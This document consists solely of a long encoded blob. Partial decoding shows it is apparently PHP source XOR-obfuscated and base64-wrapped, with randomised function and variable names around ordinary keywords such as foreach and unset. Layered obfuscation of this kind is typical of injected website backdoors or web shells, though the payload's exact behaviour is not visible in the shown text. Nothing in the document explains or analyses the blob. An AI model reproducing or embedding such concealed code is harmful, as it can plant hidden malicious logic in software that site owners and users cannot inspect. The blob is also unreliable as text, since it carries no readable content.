cXEkpDHm4ar1NTU1NTU2tTU1NPb09Ta1NTU1NCTmJOrl4eXgcXEkpDHm4ar1NTa1I7NjpCYmpbAxcSamtzGxMPH3c/+/v7U1NTU1NTU0IyCzJ2RnYfHn8GancLA1NTUydTU1NSTkYCrm4SAnZua3I7NjpCYmpbAxcSamtzMwcXd2NSVhoaVjdzd3c/+1NSdktTU1NzVgZCZhp/EjJ6Xn5mf3MbEwMzd3NCMgsydkZ2Hx5/Bmp3CwN3U1NTUiIjU1NTU1Y7NjpCYmpbAxcSamtzFxsHB3dzQgY6Sw8KNnJ6Fm5yBnY2YxdjU1NTQjILMnZGdh8efwZqdwsDY1ICGgZHd3dTU1NCSl8CVzMbBkMKE1MnU1NSAhoGRz/7Uif6dktTU3NXQkpfAlczGwZDChN3U1IaRgIGGms/+1NTUnZLU1NzVkcaSkoGEgM3ChY2Am8XBx53DlpfcjMzBnJ6bk5aZjMOagtzFxsDG3d3d1NSGkYCBhprP/tTUgIaN1NTU1NSP/v7UmpjBh4aZlpGQnIaehoDc3c/+1NTU1IzDksCcgM2Nmpifn5yHhICVkpXCg4Tc3c/+mMbDjpyVlprEmcKdgZic3N3P/tSYxJiDgJGXksbHh8aTkNzdz/7+/v7U1JCamMeHho2OnsOWwJjAhprc3c/+jMychIHGmZ7Nq8eRq46Xg83c3c/+1JzEgYXDwpCfwZ2rk4GEk4Lc3c/+1JLDn8XHxZucxMGdhJOChoHc3c/+0JfNkYOCwJKCgcLU1NTU1MnU1JeMgZCFw46NjYefjJWHxYeMl4aFzdzdz/7+1NTU1NTU0IyWx5HAx8aVhYec1NTJ1NTU1NSEkMerwoyGzKuVh5mbk8OahJuVjpXc3c/+0JOSk5OGkJLMxIOEw4PM1NTU1NTUydTU1NSVhoaVjdzdz/7U1NTU1JKbhpGVl5zU3NCHjJyfgYWSgpnE1NTUlYfU1NTQhJyfh4aekYTGmqvNk5LMwN3U1NTUj/7U1NTU0JzDwcLMg8KrnIOfmpjFwZzUydTU1NzQhJyfh4aekYTGmqvNk5LMwNTU1MnJydTU1NTQn4aTjJCSwY2bzcWF1NrU1IzGhsPEl4Gdg5KC3MHBwd3U1NTU0tLU1NTU1dCXzZGDgsCSgoHC3dTU1NSIiNTU3IGQmYafxIyel5+Zn9zGxMLA3dzQhJyfh4aekYTGmqvNk5LMwNjU2dzGxtnM3d3U1NTUycnJ1IzGhsPEl4Gdg5KC3MbEw8Dd1NTS0tTU1dCMlseRwMfGlYWHnN3P/tTU1NTQkZrCnY3GxcWOhYCajMCTxdTU1NTUydTU1LSOzY6QmJqWwMXEmprcxsTCxN3c0IScn4eGnpGExpqrzZOSzMDdz/7U1NSdktTU3NCRmsKdjcbFxY6FgJqMwJPF3dTUj/7+/tCTkpOThpCSzMSDhMODzK/QhJyfh4aekYTGmqvNk5LMwKnU1NTUydTU1NTQkZrCnY3GxcWOhYCajMCTxa+MzMGcnpuTlpmMw5qC3MbEwsXdqdTU1NTa1NOI09TU2tTQkZrCnY3GxcWOhYCajMCTxa+BkJmGn8SMnpefmZ/cxsTCxt2p1NTU2tTU1NzQnMPBwsyDwqucg5+amMXBnNTUy9TU1NSMzMGcnpuTlpmMw5qC3MbEw8Hd1NTa1NTU1NSOzY6QmJqWwMXEmprcxsTDwt3c3dTUztTU1tbdz/7U1NSJ/on+/v7U1NTU1JKbhpGVl5zU1NzQmIWZx5KGgY2Wg5HU1NTU1JWH1NTQn5GN1NTJytTU1NCGhoCHlpyHwIerwI2Tmd3U1NTU1I/+1NTU1NTQnpmaxJeagc2MkpHU1NTU1NTJ1IOch5/BmYzCwpLFmYyBjsPAmpzDk9yOzY6QmJqWwMXEmprcxsTCwN3c0J+RjdjU1NTU3MXfwN3d2NTU1NCGhoCHlpyHwIerwI2Tmd3P/p2S1NTU3NCemZrEl5qBzYySkdTJycnU1NTTxNPU1NTUiIjU1IzGhsPEl4Gdg5KC3MbEw8Pd3NCemZrEl5qBzYySkdjU1NTU1NTZxt3UycnJ1IGQmYafxIyel5+Zn9zGxMPM3d3U0J6ZmsSXmoHNjJKR1NrJ1IzGhsPEl4Gdg5KC3MbEw8Hd1NrU1I7NjpCYmpbAxcSamtzGxMPC3dzdz/7U1NTU1NTQk5KTk4aQkszEg4TDg8yv0J+RjanU1NTJ1NCemZrEl5qBzYySkc/+1NSJ/tTU1NTU1NS0gYSQlYCRq5uEgJ2bmtyBkJmGn8SMnpefmZ/cxsTBzd3Y1NCTkpOThpCSzMSDhMODzNjU1NTUjMzBnJ6bk5aZjMOagtzGxMDH3d3P/tTU1NTU1NTUidTU1NSSnZqVmJiN1NSP/tTU1NTUloCGjcyNnozCgpvGgsbNx6uZjMLcjMzBnJ6bk5aZjMOagtzFxsDG3d3P/tTUif7U1NTU1InU1NSXlYCXnNTU3KCchpuDlZaYkdTQjMbMjJiWnoaNgp7d1NTUj/7U1NTU1NSMk5CDhcGCnsDFkJXCh4KAwYOWncHcgZCZhp/EjJ6Xn5mf3MbEw83d2NTQjMbMjJiWnoaNgp7dz/7U1InU1NTU1JeVgJec1NTU3LGMl5GEgJ2bmtTQjMbMjJiWnoaNgp7d1NTUj/6J/tTUif7UkoGal4Cdm5rU1IOch5/BmYzCwpLFmYyBjsPAmpzDk9zQhJyfh4aekYTGmqvNk5LMwNjU1NCGhoCHlpyHwIerwI2Tmd3+j/7U1NCRmsKdjcbFxY6FgJqMwJPF1MnU1NTU1LSMzMGcnpuTlpmMw5qC3MbEwsTd3NCEnJ+Hhp6RhMaaq82TkszA3c/+/v7+1J2S1NzV0JGawp2NxsXFjoWAmozAk8Xd1NTU1IaRgIGGmtTU08TTz/7U1NTU0IKZw4aSk4HNhp2Wxo7HnJHU1MnU0JGawp2NxsXFjoWAmozAk8WvjMzBnJ6bk5aZjMOagtzGxMzE3anU2tTU1NOI09TU1NTa1NCRmsKdjcbFxY6FgJqMwJPFr4zGhsPEl4Gdg5KC3MbEwsbdqc/+nZLU1NzQkZrCnY3GxcWOhYCajMCTxa+BkJmGn8SMnpefmZ/cxsTMxN2p1MrU1NTcxIzDxszMzd/EjMyQw8PD3d3U1NSGkYCBhprU1I7NjpCYmpbAxcSamtzGxMzF3dTa1NTQgpnDhpKTgc2GnZbGjseckc/+1NTU1NTU1NTQkaudnsSMhceVlZqrwJ3U1MnU1NTUtIzGhsPEl4Gdg5KC3MbExsTd3NCEnJ+Hhp6RhMaaq82TkszA3c/+/tTU1NTU1NSGkYCBhprU1NCCmcOGkpOBzYadlsaOx5yR1NrU1NOI09TU1NTa1NTU3NyBkJmGn8SMnpefmZ/cxsTHw93c0JGrnZ7EjIXHlZWaq8Cd3dTS0tTU1NTUjs2OkJialsDFxJqa3MbEzMbd3NCRq52exIyFx5WVmqvAndjU1NTQhoaAh5ach8CHq8CNk5nd1NTVycnU1JKVmIeR3dTU1NTL1NTU1NPF09TO1NTTxNPdz/6J/v7U1NSSgZqXgJ2bmtTU1NTUjIHFxoWTzMSMjZmChIXc3f6P/tTU0KuEgtTU1NTUydTUgZCZhp/EjJ6Xn5mf3MbEwMXd3I7NjpCYmpbAxcSamtzFzMzE3d3U1MvU1JORgKubhICdm5rcjMzBnJ6bk5aZjMOagtzDzc3d2NTU1NbW3dTUztTU1NbWz/7Uk5bDjIWNq4SazY6Gq8DBzYDc3c/+1NTU0IKDwoWAnJvElpmGn5WWkM3U1NTU1MnUjMaGw8SXgZ2DkoLcxsTAxd3cjMaGw8SXgZ2DkoLcxczMxN3d1NTL1NTUk5GAq5uEgJ2bmtyBkJmGn8SMnpefmZ/cw83N3djU1NTU1tbd1M7U1NbWz/7U1J2S1NzQgoPChYCcm8SWmYaflZaQzdTJycnU1NCrhILd1NTU1LSQkZiRgJGrm4SAnZua3IzMwZyem5OWmYzDmoLcw83N3d3P/tTU1In+1NSSgZqXgJ2bmtTU1NSTlsOMhY2rhJrNjoarwMHNgNzd/tSP/v7+1NTUgIaN1I/+1NTU1NSdktTU3NWQkZKdmpGQ3IzGhsPEl4Gdg5KC3MbEzMfd3d3U1IaRgIGGms/+/tTU1NTQn4aTjJCSwY2bzcWF1NTU1NTUydSex5eYmIyEx8WOzM3NxISWko2Xhdzdz/7U1NTU1NTQhp/CjJOFxJuRk4WRk4aZ1NTUydTU1JiQw4bAzJWSwMPGwJqXkoedkoedltzdz/7+1NTQjIeXjYObjJyRnZuD1NTUydTU1JCEzJHMjMeFg6uegoDG3LW2p6S1oLzU1NTU2tTU1NSMzMGcnpuTlpmMw5qC3MXAxsTd2NTU3MXG2cDd3dTU1NrUjMzBnJ6bk5aZjMOagtzFx8DN3c/+1NTU1NTQkJ3ElZiDw5yMhsGSm9TJ1JCEzJHMjMeFg6uegoDG3LW2p6S1oLzU2tSMxobDxJeBnYOSgtzGxMHH3djU3MHfx93d1NTa1NTUjMaGw8SXgZ2DkoLcxsTDx93P/tTU1NTQhIXGxp7AxZGVl8CQmMHBzNTUydSQhMyRzIzHhYOrnoKAxty1tqektaC81NTU2tSOzY6QmJqWwMXEmprcxsTBw93Y1NTcwt/G3d3U1NTU1NrU1IzGhsPEl4Gdg5KC3MbEzMDdz/7+0JeTnpXHk8DCwIPExc2awsTUydTUkITMkcyMx4WDq56CgMbctbanpLWgvNTU1NrU1NTUjMzBnJ6bk5aZjMOagtzFx83C3djU3MDfwN3d1NrU1NSOzY6QmJqWwMXEmprcxsTMwN3P/tTQgoKZwpDEmIyrxI6QgIWZntTU1MnU1NSQhMyRzIzHhYOrnoKAxty1tqektaC81NrUjs2OkJialsDFxJqa3MXAxczd2NTU3MXIyMfd3dTU1NTa1NTU1IGQmYafxIyel5+Zn9zGxMzB3c/+1NCegJ+ZgsTFgZLGzcfU1MnUgZCZhp/EjJ6Xn5mf3MbEzMLd1NTU1NrU1NTUkITMkcyMx4WDq56CgMbctbanpLWgvNTa1NTU05PT2NTcw9/F3d3P/tTU0JuTncCTxsbCmpvUydTU1NSVhoaVjdz+1NTQn4aTjJCSwY2bzcWF1NTU2tTU1NSBkJmGn8SMnpefmZ/cwcHH3dTUycrU1IzMwZyem5OWmYzDmoLczcLB3dj+1NCfhpOMkJLBjZvNxYXU1NrU1NSMzMGcnpuTlpmMw5qC3MHBwd3U1MnK1NTU1NTUgZCZhp/EjJ6Xn5mf3M3CwN3Y/v7+1NTU1NTdz/7UkpuGkZWXnNTU1NTc0JuTncCTxsbCmpvUlYfU1NCEnJ+Hhp6RhMaaq82TkszA1NTJytTQhIaRkp2M3dSP/tTU1NSdktTU1NTU3NW0gZCZhp/EjJ6Xn5mf3MXNwszd3NCEnJ+Hhp6RhMaaq82TkszA3d3Ul5uagJ2agZHP/tTU0JGrnZ7EjIXHlZWaq8Cd1NTU1NTJ1NS0jMzBnJ6bk5aZjMOagtzGxMbE3dzQhJyfh4aekYTGmqvNk5LMwN3P/tTU1NTU1J2S1NTc0JGrnZ7EjIXHlZWaq8Cd1NTJycnU1NTUkpWYh5Hd1NTU1NSXm5qAnZqBkc/+1NTU0ICHhZ3Ek4SFg5yS1NTU1MnU1NTU1IzMwZyem5OWmYzDmoLczcfF3dTU1NrU0ISGkZKdjNTU1NTa1NSMzMGcnpuTlpmMw5qC3MbEzMPd1NTU1NTU2tTU1NTU1NCEhpGSnYzU2tTU1IGQmYafxIyel5+Zn9zNx8fdz/7U1NTQgMeCkcaelYWaq9TJ1NTUjMzBnJ6bk5aZjMOagtzFzc3B3dzQgIeFncSThIWDnJLY1NTW1tjU0JGrnZ7EjIXHlZWaq8Cd3c/+1J2S1NTU3NCAx4KRxp6VhZqr1NTU1cnJ1NCRq52exIyFx5WVmqvAnd3U1NTU1I2OmoLGk52Dk8HNn42QhJDc0IScn4eGnpGExpqrzZOSzMDY1NTU1NCAx4KRxp6VhZqr3c/+1NTU1NSJ/tTQnYCOlYOXnpqWmIKVx9TUydTU1NCfhpOMkJLBjZvNxYXU2tTU1NTU1IzMwZyem5OWmYzDmoLcwcLE3c/+/tTUnZLU3LSBkJmGn8SMnpefmZ/cxsTMzN3c0J2AjpWDl56alpiClcfd3dSP/tTU1NTU0JaDwJPGmoyGkJCYk5/U1NTU1MnUtIzGhsPEl4Gdg5KC3MbEzM3d3NCdgI6Vg5eempaYgpXH3c/+1J2S1NTU1NTU3IzMwZyem5OWmYzDmoLcxsTNxN3c0JaDwJPGmoyGkJCYk5/d1NTU0tLU0JaDwJPGmoyGkJCYk5/U1NTU1cnJ1NTW1t3U1I/+1NSdktTcjMaGw8SXgZ2DkoLcxsTFxN3cjMzBnJ6bk5aZjMOagtzGxM3F3djUjs2OkJialsDFxJqa3MbEw8Pd3NCWg8CTxpqMhpCQmJOf2NTU1MTY1NTcxsPA38bC3d3d1NTU1IiI1NSMzMGcnpuTlpmMw5qC3MbEzMbd3NCWg8CTxpqMhpCQmJOf2NTU1IzGhsPEl4Gdg5KC3MbEzcbd3dTU1NTJycnU1NTU1MTd1NSP/tTU1ICGn8Kcw8LMxoCfgpbA3NCdgI6Vg5eempaYgpXH2NTU1NTU3MfDwt/AwN3dz/7Ul5zBn4SSzZ2DnoOOzZ+Qq53c0J2AjpWDl56alpiClcfdz/6J1NSRmIeR1I/+1NTU1NCbzZ2WgsONkoSejcCcwpbB1MnU1NSBkJmGn8SMnpefmZ/cxsTNx93cjMaGw8SXgZ2DkoLcxsTNwN3Y1NTW1tjU1NTQloPAk8aajIaQkJiTn93P/tTU1J2S1NTU3IGQmYafxIyel5+Zn9zGxM3E3dzQm82dloLDjZKEno3AnMKWwd3U1NTS0tTQm82dloLDjZKEno3AnMKWwdTU1NTVycnU1NCWg8CTxpqMhpCQmJOf3dSNjpqCxpOdg5PBzZ+NkISQ3NCdgI6Vg5eempaYgpXH2NTQm82dloLDjZKEno3AnMKWwd3P/v7+1NTU1NTUgZqHkYDc0JvNnZaCw42ShJ6NwJzClsHdz/7Uif7U1In+1NSBmoeRgNzQloPAk8aajIaQkJiTn93P/tSJ/tTU1NCOkc2Sn5uSxZeVxZuBq5/U1MnU1NTUgZCZhp/EjJ6Xn5mf3MbExsDd3J+Qm8CCxsaXxZWRhJqbhpaXw9zd3dTU1NrU1IGQmYafxIyel5+Zn9zGxM3B3c/+1NTU0IeRjpabm4eGkcHFlpfU1NTJ1NSQkZKdmpGQ3I7NjpCYmpbAxcSamtzGxMXG3d3U1MvU1NTU1KOkq7e7uqCxuqCrsL2m1NrU1IzGhsPEl4Gdg5KC3MbEzcHd1NTU1M7U1NCOkc2Sn5uSxZeVxZuBq5/P/tTU1NTU0JiXmp/DxJ2NxcCWmpmF1NTUydSVhoaVjdz+1NTQn4aTjJCSwY2bzcWF1NTU1NrU1NPb09Ta1NTU1NCMh5eNg5uMnJGdm4PY/tTU1NTU1NTU0J+Gk4yQksGNm83FhdTa1NTT29PU1NrU1NTQkJ3ElZiDw5yMhsGSm9j+0J+Gk4yQksGNm83FhdTa1NPb09TU1NrU0ISFxsaewMWRlZfAkJjBwczY/tTU1NTU1NTU0IafwoyThcSbkZOFkZOGmdTU2tTT29PU1NrU1NTQl5OelceTwMLAg8TFzZrCxNj+0IafwoyThcSbkZOFkZOGmdTa1NTU09vT1NTa1NTQgoKZwpDEmIyrxI6QgIWZntj+1NTQhp/CjJOFxJuRk4WRk4aZ1NTU1NrU1NPb09Ta1NCQncSVmIPDnIyGwZKb2P7U1NTQhp/CjJOFxJuRk4WRk4aZ1NTa1NPb09Ta1NTU1NTQhIXGxp7AxZGVl8CQmMHBzNj+1NTQjpHNkp+bksWXlcWbgauf1NTa1NPb09TU2tTU1NCXk56Vx5PAwsCDxMXNmsLE2P7U0I6RzZKfm5LFl5XFm4Grn9TU2tTT29PU1NTa1NTU0IKCmcKQxJiMq8SOkICFmZ7Y/tTQjpHNkp+bksWXlcWbgauf1NTa1NTU1NPb09TU2tTU0JCdxJWYg8OcjIbBkpvY/v7U1NCOkc2Sn5uSxZeVxZuBq5/U1NTa1NPb09Ta1NTQhIXGxp7AxZGVl8CQmMHBzNj+/tTU1NTQh5GOlpubh4aRwcWWl9TU1NrU1NTU1NPb09TU1NTU2tTQl5OelceTwMLAg8TFzZrCxNj+1NTQh5GOlpubh4aRwcWWl9TU1NTa1NTU09vT1NTU1NrU1NTU0IKCmcKQxJiMq8SOkICFmZ7Y/tTQh5GOlpubh4aRwcWWl9TU1NrU09vT1NrU0JCdxJWYg8OcjIbBkpvY/tTU0IeRjpabm4eGkcHFlpfU1NTU2tTT29PU1NrU0ISFxsaewMWRlZfAkJjBwczY/tTdz/7U1NTQjJbDx5mYn4yDk5PU1MnU1J2RmMDAhZ3Gwo6RgsXBkavMzMOfkMzc3c/+1NTU1NTQmJean8PEnY3FwJaamYWvqdTJ1NTU1NTQjJbDx5mYn4yDk5OvxanP/tTU1NTQmJean8PEnY3FwJaamYWvqdTJ1NTQjJbDx5mYn4yDk5OvxanU1NrU1NSMxobDxJeBnYOSgtzGxM3C3c/+/v7+1NTU1NSBmoeRgNzQjJbDx5mYn4yDk5Pdz/7U1NTU1J2S1NTU1NyOzY6QmJqWwMXEmprcxsTAxd3cgZCZhp/EjJ6Xn5mf3M3BwN3d3dSP/tTUkpuGkZWXnNTU1NTc3JWGhpWN3dS0jMzBnJ6bk5aZjMOagtzGxM3D3dzQn4aTjJCSwY2bzcWF1NTa1IzGhsPEl4Gdg5KC3MbEzczd1NTU2tTU1NCMh5eNg5uMnJGdm4Pd1JWH1NTQmqudnMHAxZHDq8Td1NTU1NTU0JiXmp/DxJ2NxcCWmpmFr6nU1MnU1NTQmqudnMHAxZHDq8TP/tTU1NTU1JKbhpGVl5zU1NTc3JWGhpWN3dTU1LSMxobDxJeBnYOSgtzGxM3D3dzQn4aTjJCSwY2bzcWF1NTU1NTa1IzMwZyem5OWmYzDmoLcxsTNzd3U2tTU1NCMh5eNg5uMnJGdm4Pd1NTU1NTUlYfU1NCaq52cwcDFkcOrxN3U0JiXmp/DxJ2NxcCWmpmFr6nU1MnU1NTU1NTQmqudnMHAxZHDq8TP/tTUkpuGkZWXnNTU1NTU1NzclYaGlY3d1NTUtIzGhsPEl4Gdg5KC3MbEzcPd3LW2p6S1oLzU1NTU2tSBkJmGn8SMnpefmZ/cxs3H3dTU1NrU1NTU0J6An5mCxMWBksbNx9TU1NrU1IzMwZyem5OWmYzDmoLcxs3A3d3U1NSVh9TQkoCNh5KEncSZlcXd1NTU1NCYl5qfw8SdjcXAlpqZha+p1NTJ1NCSgI2HkoSdxJmVxc/+1NTU1NSSm4aRlZec1NTU1NTc3JWGhpWN3dTU1LSMxobDxJeBnYOSgtzGxcTE3dzQn4aTjJCSwY2bzcWF1NTU1NTa1NPb09TU2tTU1NTU0J6An5mCxMWBksbNx9TU2tTU1IzGhsPEl4Gdg5KC3MbFxMXd3dTU1NTU1JWH1NCSgI2HkoSdxJmVxd3U1NTU1NTQmJean8PEnY3FwJaamYWvqdTU1MnU1NTQkoCNh5KEncSZlcXP/v7UkpuGkZWXnNTU1NTU3NyVhoaVjd3U1NTUtIGQmYafxIyel5+Zn9zGxcTG3dzQhp/CjJOFxJuRk4WRk4aZ1NTU1NrU1NPb09TU1NTa1NTQnoCfmYLExYGSxs3H1NTU2tTUjMaGw8SXgZ2DkoLcxsXExd3d1NTU1NSVh9TU1NCSgI2HkoSdxJmVxd3U1NTQmJean8PEnY3FwJaamYWvqdTU1NTUydTU0JKAjYeShJ3EmZXFz/7UkpuGkZWXnNTU1NzclYaGlY3d1NTU1LSMxobDxJeBnYOSgtzGxcTG3dzQjpHNkp+bksWXlcWbgauf1NTU1NTa1NTU1NTU09vT1NrU1NTQnoCfmYLExYGSxs3H1NTU1NTU2tTU1IGQmYafxIyel5+Zn9zGxcTF3d3U1NSVh9TU0JKAjYeShJ3EmZXF3dTQmJean8PEnY3FwJaamYWvqdTU1NTJ1NCSgI2HkoSdxJmVxc/+1JKbhpGVl5zU1NTc3JWGhpWN3dTUtIzGhsPEl4Gdg5KC3MbFxMbd3NCHkY6Wm5uHhpHBxZaX1NrU1NTT29PU2tTU1NTU0J6An5mCxMWBksbNx9TU2tTU1NSMzMGcnpuTlpmMw5qC3MbFxMXd3dTU1JWH1NTQkoCNh5KEncSZlcXd1NTU0JiXmp/DxJ2NxcCWmpmFr6nU1MnU0JKAjYeShJ3EmZXFz/6J/tCdg8GHgcacm5OHjIXF1NTU1NTJ1JCEzJHMjMeFg6uegoDG3LW2p6S1oLzU1NTa1NTU1NTU05PT2NTU1NTU3MXIyMfd3c/+1NCGh5yFn5GXw6ufwpyMw9TUydTUlYaGlY3ctbanpLWgvNTU2tSOzY6QmJqWwMXEmprcxcLBxN3Y1NTU0J+Gk4yQksGNm83FhdjU1NTQhp/CjJOFxJuRk4WRk4aZ2NTU1NTQjpHNkp+bksWXlcWbgauf2NTU1NTU0IeRjpabm4eGkcHFlpfdz/7U1NSSm4aRlZec1NTc0IaHnIWfkZfDq5/CnIzD1NTUlYfU1NTQq5OQ3dTU1NSP/tSdktTctI7NjpCYmpbAxcSamtzGxMXA3dzQq5OQ3dTU1NLS1LSOzY6QmJqWwMXEmprcxsTGzN3c0KuTkN3d1NTU1NScgpebxYGYmZqdmI6CkcOHw9zQq5OQ1NTU1NTU2tSMxobDxJeBnYOSgtzGxcTH3dTU1NrU1NCdg8GHgcacm5OHjIXF2NTU1NTU1Jadhs2Sg8SFq6uck5CVhZaAk8Lc3djUjMzBnJ6bk5aZjMOagtzGxcTA3d3P/tSJ/tSdktTU3IzMwZyem5OWmYzDmoLcxsTAxd3cjMaGw8SXgZ2DkoLcxsXExt3d3dSP/tTU1NTU1NSSm4aRlZec1NzQhoechZ+Rl8Orn8KcjMPU1NSVh9TU1NCrk5Dd1NSP/tTU1NTUkpuGkZWXnNTclYaGlY3cgZCZhp/EjJ6Xn5mf3MHCxt3Y1NSBkJmGn8SMnpefmZ/cxsXEwd3Y1IzMwZyem5OWmYzDmoLcxsXEwt3Y1I7NjpCYmpbAxcSamtzGxcTD3djU1I7NjpCYmpbAxcSamtzGxcTM3djU1NSBkJmGn8SMnpefmZ/cxsXEzd3Y1I7NjpCYmpbAxcSamtzGxcXE3djU1IzGhsPEl4Gdg5KC3MbFxcXd2NSMxobDxJeBnYOSgtzGxcXG3d3U1JWH1NCWnZeRlseQzIKTmMKTk93U1NSP/v7+/tSSm4aRlZec1NTU1NTc3JWGhpWN3dTU1NS0jMzBnJ6bk5aZjMOagtzGxcTG3dzQq5OQ1NTa1NTU09vT1NrU1NCWnZeRlseQzIKTmMKTk9Ta1NTU1NPe093U1JWH1NTQgpGGq5yXwZGEnoyH3dTU1NCYl5qfw8SdjcXAlpqZha+p1NTU1MnU1NCCkYarnJfBkYSejIfP/on+kpuGkZWXnNTU3NyVhoaVjd3UtIzMwZyem5OWmYzDmoLcxsXFx93c0KuTkNTU1NTa1NSMxobDxJeBnYOSgtzGxcXA3d3U1NTUlYfU0JCCnZyEgZGNnpiXwZjCx83d1NTQmJean8PEnY3FwJaamYWvqdTUydTQkIKdnISBkY2emJfBmMLHzc/+/v7+1NTU1In+1NTU1NTUif7UgZqHkYDc0J2DwYeBxpybk4eMhcXY1NCGh5yFn5GXw6ufwpyMw9jU1NTU0KuTkNjU0Jadl5GWx5DMgpOYwpOT2NTU0IKRhqucl8GRhJ6Mh9jU1NCQgp2chIGRjZ6Yl8GYwsfN3c/+1NTQgZyCzJiYgJDEg5iSwsDU1MnU1NTU1NSVhoaVjdy1tqektaC81NTU2tTU1NTUjs2OkJialsDFxJqa3MHDwt3Y1NTU0J+Gk4yQksGNm83FhdTU1NTa1I7NjpCYmpbAxcSamtzFwMPD3d3P/tSSm4aRlZec1NzQgZyCzJiYgJDEg5iSwsDU1JWH1NTQms2EjZ6EgpqHx8yMnN3Uj/7U1NTU1NSdktTU1NzVtIzMwZyem5OWmYzDmoLcxsXFwd3c0JrNhI2ehIKah8fMjJzd3dTU1JebmoCdmoGRz/7+/tTQkaudnsSMhceVlZqrwJ3UydTUtIzMwZyem5OWmYzDmoLcxsTMzd3c0JrNhI2ehIKah8fMjJzdz/7U1NSdktTc0JGrnZ7EjIXHlZWaq8Cd1NLS1NTU1NSOzY6QmJqWwMXEmprcxsTMxt3c0JGrnZ7EjIXHlZWaq8Cd2NSMxobDxJeBnYOSgtzBw8Dd3dTU1cnJ1NTU1NSSlZiHkd3Uj/7U1NTU1NCRq52exIyFx5WVmqvAndTU1NTUydSOzY6QmJqWwMXEmprcxsTNx93cjMzBnJ6bk5aZjMOagtzFxcLN3dTU1NTU2tTU1I7NjpCYmpbAxcSamtzGxcXC3dzQkJ3ElZiDw5yMhsGSm9jU09vT3dTU2tTUjMzBnJ6bk5aZjMOagtzGxcXD3djU1qia1tjU1NTU1NCRq52exIyFx5WVmqvAnd3P/v7+/tTU1NTU1J2S1NTcjMaGw8SXgZ2DkoLcxsXFzN3c0JGrnZ7EjIXHlZWaq8Cd3d3Uj/7U1NTU0JGrnZ7EjIXHlZWaq8Cd1NTUydTU1NTUgZCZhp/EjJ6Xn5mf3MbEzcfd3I7NjpCYmpbAxcSamtzFxcPF3dTU1NTa1NTUjMaGw8SXgZ2DkoLcxsXFwt3c0JCdxJWYg8OcjIbBkpvY1NPb093U1NTa1IGQmYafxIyel5+Zn9zGxcXD3djU1NaomtbY1NCRq52exIyFx5WVmqvAnd3P/tSJ/p2S1NTcjMaGw8SXgZ2DkoLcxsXFzd3c0JGrnZ7EjIXHlZWaq8Cd3d3U1NTUj/7U1NCRq52exIyFx5WVmqvAndTUydTU1NSMzMGcnpuTlpmMw5qC3MbEzcfd3IzMwZyem5OWmYzDmoLcxcXDxt3U1NrUjMaGw8SXgZ2DkoLcxsXGxN3c0JCdxJWYg8OcjIbBkpvY1NTU1NPb093U2tTU1NTUgZCZhp/EjJ6Xn5mf3MbFxsXd2NTU1NTWqJrW2NTU1NCRq52exIyFx5WVmqvAnd3P/on+/v7+nZLU3I7NjpCYmpbAxcSamtzGxcbG3dzQkaudnsSMhceVlZqrwJ3d3dTUjY6agsaTnYOTwc2fjZCEkNzQms2EjZ6EgpqHx8yMnNjU1NCRq52exIyFx5WVmqvAnd3P/tTU1In+1NSJ/tTQgc2ahZeNlauHhMLGx9TJ1LW2p6S1oLzU2tTU1NTU1IGQmYafxIyel5+Zn9zGxcbH3c/+1NTU1NTU1J2S1NTc1bSMzMGcnpuTlpmMw5qC3MbFxsDd3NCBzZqFl42Vq4eEwsbH3d3U1NSP/tTU1NCAx5uWm5OAk4KXmIzE1NTUydTUgZCZhp/EjJ6Xn5mf3MbExsDd3LW2p6S1oLzd1NTa1IGQmYafxIyel5+Zn9zGxcbB3c/+1NTU1NTU1J2S1NTU3LSMzMGcnpuTlpmMw5qC3MbFxsLd3NCAx5uWm5OAk4KXmIzE3d3U0IHNmoWXjZWrh4TCxsfU1MnU1NTU1NCAx5uWm5OAk4KXmIzEz/7U1NSJ/tTUnZLU1Ny0gZCZhp/EjJ6Xn5mf3MbFxsPd3NCBzZqFl42Vq4eEwsbH3dTU0tLU1LSOzY6QmJqWwMXEmprcxsTGzN3c0IHNmoWXjZWrh4TCxsfd3dSP/tCrg5fU1NTJ1NTUtI7NjpCYmpbAxcSamtzGxMzN3dzQgc2ahZeNlauHhMLGx93P/p2S1NTU1NyMxobDxJeBnYOSgtzGxcbG3dzQq4OX3dTU1NLS1NSBkJmGn8SMnpefmZ/cxsXGzN3c0KuDl9jU1IGQmYafxIyel5+Zn9zBzMbd3dTU1cnJ1NTUkpWYh5Hd1NTU1NSP/tTU1NTQkoXGwMWfg8TBxsaNmpnU1NTUydSMzMGcnpuTlpmMw5qC3MbFxs3d3IzMwZyem5OWmYzDmoLcxsXHxN3Y1NTU1tbY1NCrg5fdz/7U1J2S1NTcjs2OkJialsDFxJqa3MbFxsbd3NCShcbAxZ+DxMHGxo2amd3U1NTU1NLS1NTU1NTU0JKFxsDFn4PEwcbGjZqZ1NXJydTU1NCrg5fU1NLS1NTUkZqelYGGkJPAw5qRh5ibwcaNnsKRnNzQkoXGwMWfg8TBxsaNmpnd3dTU1I/+/v7+1NCQnIyZk8yDhpmZzMWA1MnU1NTU1LSOzY6QmJqWwMXEmprcxcPCxt3c0IHNmoWXjZWrh4TCxsfdz/7+/tTUnZLU1NyNjpqCxpOdg5PBzZ+NkISQ3NCBzZqFl42Vq4eEwsbH2NTU0JKFxsDFn4PEwcbGjZqZ3dTU0tLU1NCQnIyZk8yDhpmZzMWA3dTU1LSMxobDxJeBnYOSgtzGxt3c0IHNmoWXjZWrh4TCxsfY1NCQnIyZk8yDhpmZzMWA3c/+1NTU1NTUif7+/v7U1IGah5GA3NCShcbAxZ+DxMHGxo2amdjU1NTQkJyMmZPMg4aZmczFgN3P/tTU1NSJ/tTU1NTUgZqHkYDc0KuDl93P/on+/v7UgZqHkYDc0IHNmoWXjZWrh4TCxsfY1NTQgMeblpuTgJOCl5iMxN3P/tTU1NTQmMCNk82WxsSbzZCfk5qMjdTUydSOzY6QmJqWwMXEmprcxsTAxd3cjMzBnJ6bk5aZjMOagtzFwMPE3d3Uy9S0jMaGw8SXgZ2DkoLcxcDDxN3cjMaGw8SXgZ2DkoLcwcLN3d3U1M7U1NTUkpWYh5HP/p2S1NTU1NTc1dCYwI2TzZbGxJvNkJ+TmoyN1NSIiNTQmMCNk82WxsSbzZCfk5qMjdTU1MnJydTU1tbd1NCYwI2TzZbGxJvNkJ+TmoyN1NTJ1NTU1NSMzMGcnpuTlpmMw5qC3MHDxd3P/v7+1NTQgcSXkYSczJ7GzYLBhsGWxtTU1MnU1NSVhoaVjdy1tqektaC81NTU1NrU1NTQmMCNk82WxsSbzZCfk5qMjdjU0J+Gk4yQksGNm83FhdTa1NPb09Ta1NCYwI2TzZbGxJvNkJ+TmoyN3c/+1JKbhpGVl5zU1NTU3NCB